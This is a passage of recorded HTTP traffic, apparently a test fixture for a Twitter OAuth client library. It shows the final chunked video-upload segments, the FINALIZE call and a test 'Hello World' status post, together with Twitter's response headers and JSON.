SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "1c38c63d94d23ec0e727c6c785c68d0d", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19910", + "x-rate-limit-reset": "1587864356", + "x-response-time": "34", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00216fb1003b89d0", + "x-tsa-request-body-time": "100", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"V7QwdMiNKEu3fWwcR7fkuuy45Es%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=fJ97aqrGTz39FY533e6371f%2BCO78HlKI3uXdtyfEr9nxcs1%2Br%2FxF5QVQGWXjSUCHWX679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%2Bxfmo333z8%2BzyZ88%2FPo3u%2B%2B9uT8Tr%2BTPp%2FoblcVlvv5V7z9Xq9E8XL%2FyefvtjLu%2FRAmd3fSfyo%3D&media_id=1254206535166763008&segment_index=43" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:19 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:19 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_zlVo9sSOOSFMpnzV4U4g6A==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:19 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786113897996441; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:19 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "39c115f6270d073e625b567931d2bd50", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19909", + "x-rate-limit-reset": "1587864356", + "x-response-time": "36", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00ea6b4100dd066f", + "x-tsa-request-body-time": "63", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"ZwZgMZ1fCJvs3wwVfpH2R1JG0Gc%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=J3dej9UKqVK15biyjHfz9i7o8ub4vtDYvVe6p56ymuLXuj1x8F6tyq7n7BDNS9zyPvy6vtEeTCWpTn7P6L5P4R%2FEGSfit%2BfvAAAEtkGaTJMqBX3XKhPfr36xf9%2F5f%2F75V6a6uT1dV%2FCv%2Fff%2F%2F6v3%2Bi9XE1LXFdXd2iPWT%2BsF5JSXkGO0fvJPXFQiV9amJyXsFGdAUlwjwvCY8id%2FEzjpZzmKy5o7oY%2BO%2BJXvjr9ett92ueXVGdk%2B26uhBT5Vhhil%2FuCIiO%2Ft7qIxsQTtp%2B5aQ779XRvKMafDZRgaooqQmiVDjJthfxCi0u1ab16I0v16tOK%2FnIId%2B3%2F1c%2FLve5XMJzMZf%2Fs9fKjW%2BwnCEGddWs%2FOSe%2F0VtX1xfRP6J0QK%2F1aqWulb9cq9av1qS1qVXk3uXr45f%2B693J0qcr1qb1cirk9GgkFf6PV3Vzcq5S89%2BuFWtVcnrKM9Xr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hr%2BGp5HssxuwZyRbQkyYruEav3080nEyeCS7y0f1yeV%2FYcEBwWohLhAdUHhExPj9gq0UEenjSzGRIC%2Ff4hb1%2B%2BNXaL8%2F1ReM9RvYFwg0WQ6R3qOAMk0w2%2BnS4PukGCQcH0%2Bi%2FYkqJ33vvV4IJ7G2f2w9mutaCRhLP0CDO5x0E7Nw6snvbiECOcYJCQN9N%2BXlIc5IBj0LBb69Q8mLMH9Nz%2B8qnaEt%2BsVQgdWI1LxNS%2BEsy79d%2FWGhD3dceRIH%2FTCWxHqinApUdvNkKXmigHFVeFeHE5PnEC%2Bs2e2nGkhg55PP6TBaTOMF85p8snw0vk2vSlu7T6boWJu97%2BooRaqliiRQx8njpeCE7hkg8vp92GofSu76%2BiB33t3OZz4hM%2BzcNXHqXKFjmP%2ByaN%2BcklJwQLBa%2BziXfeR%2F6xVBbXr0mHf6xfxClUaKKGTpI6YYwwiiPqBOfAgdo%2F%2Bez%2FSCP4QkJP7%2Bg7YbwJvYE847Kk77%2F1IIDQ2Y4X%2F2CfuUYMgYGG5MRaqoEOS64c4oXe733bijO%2Fuz28%2F9ehtRF773spQzfH2qoi0tjkur2eCS%2Byiy%2F568%2FeT69fZ3%2BU%2Bdl16npKZeriKv3Wr566RXX0Fx1EwGMtQdwlAzBZgbX5EkeG3nBFejwe3Slrvv0v0fWhWiEtGI0HJ8%2F4TIkXGD04wmfffaK%2FYesb3MMNkrnGDq7M4wx%2FauHLOgMED7wZWsEm5TDpLnZ91i%2FOVfxre%2FRev1yvE%2B76R0q7yV5PG%2FS6ggOjFMEVDaBIGp0lgSclnrjKP%2BxaMVBx44XtCW7D4y91Y9ttKz7NNUX1dul9r4SEMXoW96OjFff0UTy%2FKaQXSQFo8N5IUCW2c1F9F4LxHDCnGNUooGdJqgPxmk%3D&media_id=1254206535166763008&segment_index=44" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:19 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:19 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_pRNwpIs0rqtt+nhyxYmdqg==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:19 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786113965614326; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:19 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "395b0371e2fc50f9cf03d627921ca3e2", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19908", + "x-rate-limit-reset": "1587864356", + "x-response-time": "32", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00f195f000b50623", + "x-tsa-request-body-time": "61", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"cgGQn3hX9hiwo7menxsKREvCvwY%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=%2FVuKFlIIc1Xxke%2F2Yz3fhMfeXJxHze9ehOG7T7MIe%2Fm6v5LktSWFcwbezhZkvB73DnrYH%2BUEWwnL9ZP3%2BuwxjQOu08mWuERrAONcpEr0mnFZvGjEyY5%2FgiKwMdBAfrneNv1AjtyM0%2BT3%2B7GE3c3Nm29yqM6%2F4TjNf7gy19omWT498lgM3fk8N%2FHlMIC4uPtEBjb7baJNRoZga%2BehPU3agsog%2FF%2B72IBUsXI3WiItUuc4%2Fxwxoy53vsEtKgbRu%2F0nEe0Lms36hYnQnqya9aknqia75eJ26RhG7706WX2u1FR1WmNCgTsKjk8PfFXfvfZ66VmgtIf53e%2B5r1amj2vku1Usv7fnKvjp5j0WXddijOUyMyM7%2BmPd%2B3cImLnsnd4cKVVUo32%2BzUChDwryrI8oXvOzxt4Vrn1v8uj%2BV21WsvWEOazahx7iXqvu0LvPJ2T1dsRzjIMMW4%2F5T1%2BdRmftWOUNlppIcX8Eb0fv2%2B77BIU%2BeuwQyEm%2BvvU%2BQmOPqnl799TXz6ipQkTj0I4QLnr5Pj%2FewRM9kO7%2FPEETfLR%2FG1FYu773q%2Byi7v2hTP%2B%2Fia9Dd%2BS8pevxvhtdaTtPvJ475Fk%2BnyIkSKNSeivs10%2FfYc7u754X99WtF%2FvrJ7qu0CiGKZxPbe5uHH%2FMhEJ1rAfDW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k9WdrVYW1Av68FfJ6eCGCkTqsvw34FY3Zh0vB0st1T47vjsutQSXl3%2Brq6on9aov%2F9%2BuXxckvOhTO9xP32%2FLHfX32hLqFLY5epelucvfaxd3zK5V93dXz16FNq%2FZ13332hr1fEy0SrLFYrVq5Ja55L5e9v%2BV3ITd91aGZVdVoWyTdaj%2FXr4qa%2B71vklHeSLdT98hdXLd5db%2Fr1JjSdy5eG4bl777vvrv175O5vV79elvi1Y5fJrBD3O%2FP333337r1XVrUXxNX2rP1ebN4%2Fur77777Q7vJ4Pl4PlNLnNaHxd3fxd3NfE8%2BjfthLl%2B%2B%2B%2BzFopvR0E%2BaHn%2B%2B%2B%2Fqqru%2FQ2V8XV0OZXKlZvJXgh8pgglLnP3p0tKruS9HffkXX333318nz3aHyrBmPqEViq%2Fpcu5c%2F%2BifApOuYJRmG%2B%2BzZwgDL%2Bta6KrrnQSX32Ue94rE0WKs39euzeX2Gk98%2FbCD2%2Fw2XFgVcJ2LF%2FYUtbNKXwRSkikvZc9TiObJP7dLn7nxVD8rv0qieXxGnfov2%2BUJJX6uuienuXk9cvS2FSdc6Lr7OI2Vsl8jcipGvLz1IRJCMvoL15Fr%2Fxfw%3D&media_id=1254206535166763008&segment_index=45" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:20 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:20 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_vI1KjXeGGI3FxMX1nLy+5w==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:20 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786114035721136; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:20 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "294f8cd9ff67736a60d711b50b97effc", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19907", + "x-rate-limit-reset": "1587864356", + "x-response-time": "34", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00ce83dd00e2ec0e", + "x-tsa-request-body-time": "64", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"QWAfE182LMO14prmP5CpZWU%2BGWU%3D\"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AgAALdkAADIpQAA19gAAOSlAADsXwAA%2BF8AAQRBAAEfwwABUYUAAYR%2BAAHMpgACA8AAAjxSAAJmdQACihwAArSmAALnZgADIwEAA12sAAOelwAD6mQABCYKAAQ%2BaQAETP8ABGPZAAR%2BQwAEmJsABK2pAAS%2B9wAE15QABO1sAAUOOwAFLckABVnwAAV7ggAFlSsABbPaAAXGZwAAABRzdHNzAAAAAAAAAAEAAAABAAAAsnNkdHAAAAAABERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERAAABn50cmFrAAAAXHRraGQAAAADx8rup8fK7qgAAAACAAAAAAAHpYAAAAAAAAAAAAAAAAABAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAYEbWRpYQAAACBtZGhkAAAAAMfK7qfHyu6oAAC7gAAEFAAVxwAAAAAAIWhkbHIAAAAAAAAAAHNvdW4AAAAAAAAAAAAAAAAAAAAFu21pbmYAAAAQc21oZAAAAAAAAAAAAAAAJGRpbmYAAAAcZHJlZgAAAAAAAAABAAAADHVybCAAAAABAAAFf3N0YmwAAABnc3RzZAAAAAAAAAABAAAAV21wNGEAAAAAAAAAAQAAAAAAAAAAAAEAEAAAAAC7gAAAAAAAM2VzZHMAAAAAA4CAgCIAAAAEgICAFEAVAAEYAAFl8AABRGsFgICAAhGIBoCAgAECAAAAGHN0dHMAAAAAAAAAAQAAAQUAAAQAAAAEKHN0c3oAAAAAAAAAAAAAAQUAAAD3AAAA2wAAAOEAAADlAAAA6QAAAOgAAADwAAAA8QAAAO8AAADYAAAA5gAAAOcAAADpAAAA6wAAAOoAAADoAAAA4QAAAOcAAADXAAAA2gAAANkAAADbAAAA6QAAAO4AAADlAAAA4QAAAOYAAADlAAAA2AAAAN0AAADdAAAA1QAAAOoAAADdAAAA0AAAANYAAADpA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%2FgAAAQIAAADpAAAA7AAAAOwAAADnAAAA6gAAAN4AAADiAAAAyQAAANQAAADUAAAAxwAAAMkAAADIAAAAwQAAAMAAAAC9AAAA3gAAAMsAAADNAAAA1AAAAG0AAAAoc3RzYwAAAAAAAAACAAAAAQAAAAcAAAABAAAAJgAAAAIAAAABAAAAqHN0Y28AAAAAAAAAJgAAbY0AAIWbAACd5AAAsSEAAMKnAADSjgAA344AAPNUAAD%2B6AABGgUAAUrHAAF%2BKAABxaEAAfyJAAI1XAACg2oAAq5iAALhrgADHW0AA1gEAAOZTQAD5LEABCGZAAQ5ZwAEXcYABHgYAASSagAEp2cABLh%2BAATQbAAE5wwABQfGAAVTXAAFdLwABY6ZAAWuGQAFwOsABctHAAAAFnVkdGEAAAAObmFtZVN0ZXJlbwAAAG91ZHRhAAAAZ21ldGEAAAAAAAAAIWhkbHIAAAAAAAAAAG1kaXIAAAAAAAAAAAAAAAAAAAAAOmlsc3QAAAAyqXRvbwAAACpkYXRhAAAAAQAAAABIYW5kQnJha2UgMC45LjQgMjAwOTExMjMwMAAAAIRmcmVlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%3D%3D&media_id=1254206535166763008&segment_index=46" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:21 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:21 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_HPbaNZ+DeDAAtrFzHvR9CA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:21 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786114105175417; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:21 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "5faa60936f0095cdada36f89628ae0ec", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19906", + "x-rate-limit-reset": "1587864356", + "x-response-time": "30", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00583d5a0012a058", + "x-tsa-request-body-time": "65", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"xMvogq%2FzzAEKO8pJIrksDYlKOqk%3D\"", + "Expect": null + }, + "body": "command=FINALIZE&media_id=1254206535166763008" + }, + "response": { + "status": { + "http_version": "2", + "code": "201", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-disposition": "attachment; filename=json.json", + "content-encoding": "gzip", + "content-length": "135", + "content-type": "application\/json;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:22 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:22 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_qkMgnhcw2O5dlZYspX5K7g==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:22 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786114169332176; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:22 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "201 Created", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "bf196b3247af9e6bf4d8fe8f07e205ba", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "615", + "x-rate-limit-remaining": "613", + "x-rate-limit-reset": "1587864382", + "x-response-time": "324", + "x-transaction": "007a2eaf00daa375", + "x-tsa-request-body-time": "0", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + }, + "body": "{\"media_id\":1254206535166763008,\"media_id_string\":\"1254206535166763008\",\"size\":383631,\"expires_after_secs\":86400,\"video\":{\"video_type\":\"video\\\/mp4\"}}" + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/api.twitter.com\/1.1\/statuses\/update.json", + "headers": { + "Host": "api.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"pWkPa%2BUCAF4iAZkx9QI2IeFUwRI%3D\"", + "Expect": null + }, + "body": "media_ids=1254206535166763008&status=Hello%20World%201587861062" + }, + "response": { + "status": { + "http_version": "2", + "code": "200", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-disposition": "attachment; filename=json.json", + "content-encoding": "gzip", + "content-length": "1240", + "content-type": "application\/json;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:22 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:22 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_TcHNmSK1nE37GCWbPpQbuQ==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:22 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786114261320282; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:22 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "200 OK", + "strict-transport-security": "max-age=631138519", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "ca0d9e1ce5dd591b36e8b6f2887e1730", + "x-content-type-options": "nosniff", + "x-frame-options": "SAMEORIGIN", + "x-response-time": "167", + "x-transaction": "0070a65d0013f72b", + "x-tsa-request-body-time": "0", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "0" + }, + "body": "{\"created_at\":\"Sun Apr 26 00:32:22 +0000 2020\",\"id\":1254206652397617152,\"id_str\":\"1254206652397617152\",\"text\":\"Hello World 1587861062 https:\\\/\\\/t.co\\\/nQbFmnj7Dq\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1254206535166763008,\"id_str\":\"1254206535166763008\",\"indices\":[23,46],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254206535166763008\\\/pu\\\/img\\\/MKS-slO_VH066gld.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254206535166763008\\\/pu\\\/img\\\/MKS-slO_VH066gld.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/nQbFmnj7Dq\",\"display_url\":\"pic.twitter.com\\\/nQbFmnj7Dq\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/oauthlibtest\\\/status\\\/1254206652397617152\\\/video\\\/1\",\"type\":\"photo\",\"sizes\":{\"large\":{\"w\":560,\"h\":320,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":560,\"h\":320,\"resize\":\"fit\"},\"medium\":{\"w\":560,\"h\":320,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1254206535166763008,\"id_str\":\"1254206535166763008\",\"indices\":[23,46],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254206535166763008\\\/pu\\\/img\\\/MKS-slO_VH066gld.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254206535166763008\\\/pu\\\/img\\\/MKS-slO_VH066gld.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/nQbFmnj7Dq\",\"display_url\":\"pic.twitter.com\\\/nQbFmnj7Dq\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/oauthlibtest\\\/status\\\/1254206652397617152\\\/video\\\/1\",\"type\":\"video\",\"sizes\":{\"large\":{\"w\":560,\"h\":320,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":560,\"h\":320,\"resize\":\"fit\"},\"medium\":{\"w\":560,\"h\":320,\"resize\":\"fit\"}},\"video_info\":{\"aspect_ratio\":[7,4],\"duration_millis\":5568,\"variants\":[{\"bitrate\":256000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254206535166763008\\\/pu\\\/vid\\\/314x180\\\/HtzyDH6Gqdl5UDwM.mp4?tag=1\"},{\"content_type\":\"application\\\/x-mpegURL\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254206535166763008\\\/pu\\\/pl\\\/RPouBvpOym-0X8Yr.m3u8?tag=1\"}]},\"additional_media_info\":{\"monetizable\":false}}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/twitteroauth.com\\\" rel=\\\"nofollow\\\"\\u003eTwitterOAuth dev\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":93915746,\"id_str\":\"93915746\",\"name\":\"OAuth Library Test\",\"screen_name\":\"oauthlibtest\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":58,\"friends_count\":2,\"listed_count\":6,\"created_at\":\"Tue Dec 01 18:37:44 +0000 